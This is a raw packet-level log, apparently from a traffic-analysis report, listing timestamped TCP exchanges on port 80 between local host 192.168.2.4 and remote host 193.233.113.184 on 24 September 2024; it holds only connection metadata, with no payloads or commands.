Sep 24, 2024 21:30:12.471354008 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.471360922 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.471395969 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.471419096 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.471465111 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.471493006 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.471508026 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.471523046 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.471533060 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.471539974 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.471554041 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.471559048 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.471570015 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.471587896 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.471606970 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.471896887 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.471914053 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.471941948 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.471956015 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.472199917 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.472249985 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.472259998 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.472265959 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.472290039 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.472305059 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.472363949 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.472379923 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.472404957 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.472425938 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.472434044 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.472470999 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.472476959 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.472507954 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.552092075 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.552153111 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.552186966 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.552186012 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.552213907 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.552223921 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.552233934 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.552258968 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.552272081 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.552301884 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.552390099 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.552422047 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.552438974 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.552454948 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.552469969 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.552490950 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.552501917 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.552524090 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.552541971 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.552568913 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.552644968 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.552679062 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.552696943 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.552712917 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.552726984 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.552747965 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.552763939 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.552794933 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.552799940 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.552835941 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.552850962 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.552906036 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.552944899 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.552992105 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.552999973 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.553040028 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.553093910 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.553127050 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.553145885 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.553158998 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.553174019 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.553194046 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.553204060 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.553240061 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.553311110 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.553344965 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.553363085 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.553392887 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.553591967 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.553625107 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.553646088 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.553658962 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.553663969 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.553694963 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.553703070 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.553736925 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.553750992 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.553782940 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.553800106 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.553819895 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.553839922 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.553849936 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.553869009 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.553885937 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.553905010 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.553920031 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.553934097 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.553958893 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.553981066 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.553994894 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.553998947 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.554029942 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.554040909 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.554068089 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.554078102 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.554116964 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.554183960 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.554215908 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.554231882 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.554249048 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.554261923 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.554311991 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.554347038 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.554380894 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.554399014 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.554433107 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.554435015 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.554471016 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.554488897 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.554503918 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.554522038 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.554538965 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.554557085 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.554574013 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.554598093 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.554627895 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.554770947 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.554805040 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.554826975 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.554840088 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.554848909 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.554884911 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.554934978 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.554969072 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.554986000 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.555002928 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.555016994 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.555054903 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.555085897 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.555136919 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.555136919 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.555171013 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.555188894 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.555205107 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.555222988 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.555237055 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.555254936 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.555273056 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.555288076 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.555315971 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.555355072 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.555402994 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.555406094 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.555450916 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.555470943 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.555505037 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.555521965 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.555536985 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.555553913 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.555586100 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.555604935 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.555639029 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.555656910 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.555686951 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.555732965 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.555789948 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.555823088 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.555852890 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.555872917 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.555897951 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.555905104 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.555938005 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.555954933 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.555974007 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.555988073 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.556010008 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.556026936 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.556046963 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.556061029 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.556092024 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.556230068 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.556281090 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.556284904 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.556312084 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.556318998 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.556350946 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.556365013 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.556397915 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.556412935 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.556432009 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.556446075 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.556466103 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.556482077 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.556510925 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.556560040 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.556607962 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.558053017 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.558105946 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.558109045 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.558140039 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.558145046 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.558183908 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.558233023 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.558264971 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.558284044 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.558298111 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.558314085 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.558331966 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.558346987 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.558374882 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.558382988 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.558413029 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.558433056 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.558449030 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.558459997 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.558500051 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.558504105 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.558536053 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.558549881 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.558573008 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.558588028 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.558609962 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.558619022 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.558644056 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.558659077 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.558677912 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.558693886 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.558725119 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.560478926 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.560530901 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.560538054 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.560564995 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.560571909 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.560610056 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.560669899 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.560702085 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.560719967 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.560735941 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.560750008 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.560770988 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.560781956 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.560816050 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.561278105 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.561331987 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.561332941 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.561362028 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.561378956 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.561404943 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.561414003 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.561460018 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.561465979 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.561511040 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.561515093 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.561542988 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.561561108 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.561577082 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.561594963 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.561626911 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.562376976 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.562429905 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.562432051 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.562448978 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.562472105 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.562484026 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.562551975 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.562567949 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.562585115 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.562598944 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.562612057 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.562634945 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.562647104 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.562685966 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.640769005 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.640829086 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.640861988 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.640873909 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.640897036 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.640913963 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.640961885 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.640995026 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.641012907 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.641028881 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.641057014 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.641063929 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.641086102 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.641099930 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.641113043 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.641139984 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.641145945 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.641175032 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.641180992 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.641207933 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.641222000 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.641252995 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.641379118 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.641412020 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.641418934 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.641446114 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.641457081 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.641493082 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.641530037 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.641561985 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.641585112 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.641597033 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.641598940 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.641643047 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.641690969 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.641736984 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.641804934 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.641836882 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.641863108 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.641870022 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.641885042 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.641897917 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.641927004 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.641931057 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.641958952 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.641968012 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.641980886 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.642015934 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.642079115 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.642112017 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.642136097 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.642143011 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.642154932 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.642177105 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.642189980 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.642213106 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.642225981 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.642257929 CEST	49730	80	192.168.2.4	193.233.113.184
